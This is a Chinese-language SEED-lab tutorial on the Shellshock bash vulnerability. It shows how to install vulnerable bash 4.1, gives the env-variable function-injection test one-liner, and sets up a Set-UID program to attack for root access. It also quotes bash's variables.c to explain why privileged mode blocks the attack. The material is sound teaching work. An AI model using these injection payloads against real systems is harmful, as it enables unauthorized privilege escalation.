ShellShock 攻擊實驗
本實驗可以在實驗樓中在線完成,完整教程及在線練習地址:信息安全-ShellShock攻擊實驗
一、 實驗簡介
2014年9月24日,Bash中發現了一個嚴重漏洞shellshock,該漏洞可用於許多系統,並且既可以遠程也可以在本地觸發。在本實驗中,學生需要親手重現攻擊來理解該漏洞,並回答一些問題。
二、 預備知識
1. 什麼是ShellShock?
Shellshock,又稱Bashdoor,是在Unix中廣泛使用的Bash nshell中的一個安全漏洞,首次於2014年9月24日公開。許多互聯網守護進程,如網頁伺服器,使用bash來處理某些命令,從而允許攻擊者在易受攻n擊的Bash版本上執行任意代碼。這可使攻擊者在未授權的情況下訪問計算機系統。——摘自維基百科
2. 進行實驗所需的準備
1. 環境搭建
以root許可權安裝4.1版bash(4.2版本以上的漏洞已經被堵上了)nbash4.1 下載地址:http://labfile.oss.aliyuncs.com/bash-4.1.tar.gz
下載n# wget http://labfile.oss.aliyuncs.com/bash-4.1.tar.gzn
安裝
# tar xf bash-4.1.tar.gzn# cd bash-4.1n# ./configuren# make & make installn
鏈接
# rm /bin/bashn# ln -s /usr/local/bin/bash /bin/bashn
到這裡就安裝完了,接下來檢測是否存在shellshock漏洞。
$ env x=() { :;}; echo vulnerable bash -c "echo this is a test "n
最後,讓/bin/sh 指向/bin/bash.
$ sudo ln -sf /bin/bash /bin/shn
現在一切就緒,進入下一步吧。
2.預備知識
了解bash自定義函數,只需要函數名就能夠調用該函數。
$ foo() { echo bar; } n$ foon> barn
這個時候的Bash的環境變數:
KEY = foonVALUE = () { echo bar; }n
來看看ShellShock漏洞的真身:
export foo=』() { :; }; echo Hello World』 nbashn>Hello Worldn
為什麼調用bash的時候輸出Hello World了呢?瞧瞧他內部的情況:
KEY = foonVALUE = () { :; }; echo Hello Worldn
bash讀取了環境變數,在定義foo之後直接調用了後面的函數。n一旦調用bash,自定義的語句就直接觸發。
到了這,你有想到什麼么?聯繫之前的Set-UID課程。
三、 實驗內容
1.攻擊Set-UID程序
本實驗中,我們通過攻擊Set-UID程序來獲得root許可權。n首先,確保安裝了帶有漏洞的bash版本,並讓/bin/sh 指向/bin/bash.
$ sudo ln -sf /bin/bash /bin/shn
請編譯下面這段代碼,並設置其為Set-UID程序,保證它的所有者是root。我們知道system()函數將調用"/bin/sh -c" 來運行指定的命令, 這也意味著/bin/bash 會被調用,你能夠利用shellshock漏洞來獲取許可權么?
#include <stdio.h>nvoid main()n{n setuid(geteuid()); // make real uid = effective uid.n system("/bin/ls -l");n}n
我們注意到這裡使用了setuid(geteuid()) 來使real uid = effective uid,這在Set-UID程序中不是普遍實踐,但它確實有時會發生。n先自己試著hack一下:)n……n……n……n……n……n……n以下是hack過程。n
如果 setuid(geteuid()) 語句被去掉了,再試試看攻擊,我們還能夠拿到許可權么?n
#include <stdio.h>nvoid main()n{n system("/bin/ls -l");n}n
失敗了!這就說明如果 real uid 和 effective uid n相同的話,定義在環境變數中的內容在該程序內有效,那樣shellshock漏洞就能夠被利用了。但是如果兩個uid不同的話,環境變數失效,就無法發動n攻擊了,這可以從bash的源代碼中得到印證(variables.c,在308到369行之間)請指出是哪一行導致了這樣的不同,並說明bash這樣設n計的原因。
這裡給出這部分代碼
/* Initialize the shell variables from the current environment.n If PRIVMODE is nonzero, dont import functions from ENV orn parse $SHELLOPTS. */nvoidninitialize_shell_variables (env, privmode)n char **env;n int privmode;n{n char *name, *string, *temp_string;n int c, char_index, string_index, string_length;n SHELL_VAR *temp_var;nn create_variable_tables ();nn for (string_index = 0; string = env[string_index++]; )n {nn char_index = 0;n name = string;n while ((c = *string++) && c != =)n ;n if (string[-1] == =)n char_index = string - name - 1;nn /* If there are weird things in the environment, like `=xxx or an string without an `=, just skip them. */n if (char_index == 0)n continue;nn /* ASSERT(name[char_index] == =) */n name[char_index] = 0;n /* Now, name = env variable name, string = env variable value, andn char_index == strlen (name) */nn temp_var = (SHELL_VAR *)NULL;nn /* If exported function, define it now. Dont import functions fromn the environment in privileged mode. */n if (privmode == 0 && read_but_dont_execute == 0 && STREQN ("() {", string, 4))n {n string_length = strlen (string);n temp_string = (char *)xmalloc (3 + string_length + char_index);nn strcpy (temp_string, name);n temp_string[char_index] = ;n strcpy (temp_string + char_index + 1, string);nn parse_and_execute (temp_string, name, SEVAL_NONINT|SEVAL_NOHIST);nn /* Ancient backwards compatibility. Old versions of bash exportedn functions like name()=() {...} */n if (name[char_index - 1] == ) && name[char_index - 2] == ()n name[char_index - 2] = 0;nn if (temp_var = find_function (name))n {n VSETATTR (temp_var, (att_exported|att_imported));n array_needs_making = 1;n }n elsen report_error (_("error importing function definition for `%s"), name);nn /* ( */n if (name[char_index - 1] == ) && name[char_index - 2] == 0)n name[char_index - 2] = (; /* ) */n }n
摘出其中關鍵部分並簡化
void initialize_shell_variables(){n// 循環遍歷所有環境變數nfor (string_index = 0; string = env[string_index++]; ) {n /*...*/n /* 如果有export過的函數, 在這裡定義 */n /* 無法導入在特權模式下(root下)定義的函數 */n if (privmode == 0 && read_but_dont_execute == 0 &&n STREQN (「() {「, string, 4)) {n [...]n // 這裡是shellshock發生的地方n // 傳遞函數定義 + 運行額外的指令n parse_and_execute (temp_string, name,n SEVAL_NONINT|SEVAL_NOHIST);n[...]n} }n
就是上述那一行判斷邏輯導致了兩者的不同,primode即私有模式,要求real uid 與 effective uid保持一致。
四、 練習
在實驗樓環境安步驟進行實驗,並截圖。
License
本課程所涉及的實驗來自Syracuse SEED labs,並在此基礎上為適配實驗樓網站環境進行修改,修改後的實驗文檔仍然遵循GNU Free Documentation License。
本課程文檔github鏈接:https://github.com/shiyanlou/seedlab
在線實驗環境:信息安全-ShellShock攻擊實驗
推薦閱讀:
※從SHAttered事件談安全
※進門請刷手——將門禁卡植入手中
※為什麼各種PDF編輯器都遵守當打開有密碼保護的文件時要輸入密碼才能操作?
※WPA2密鑰重裝攻擊原理分析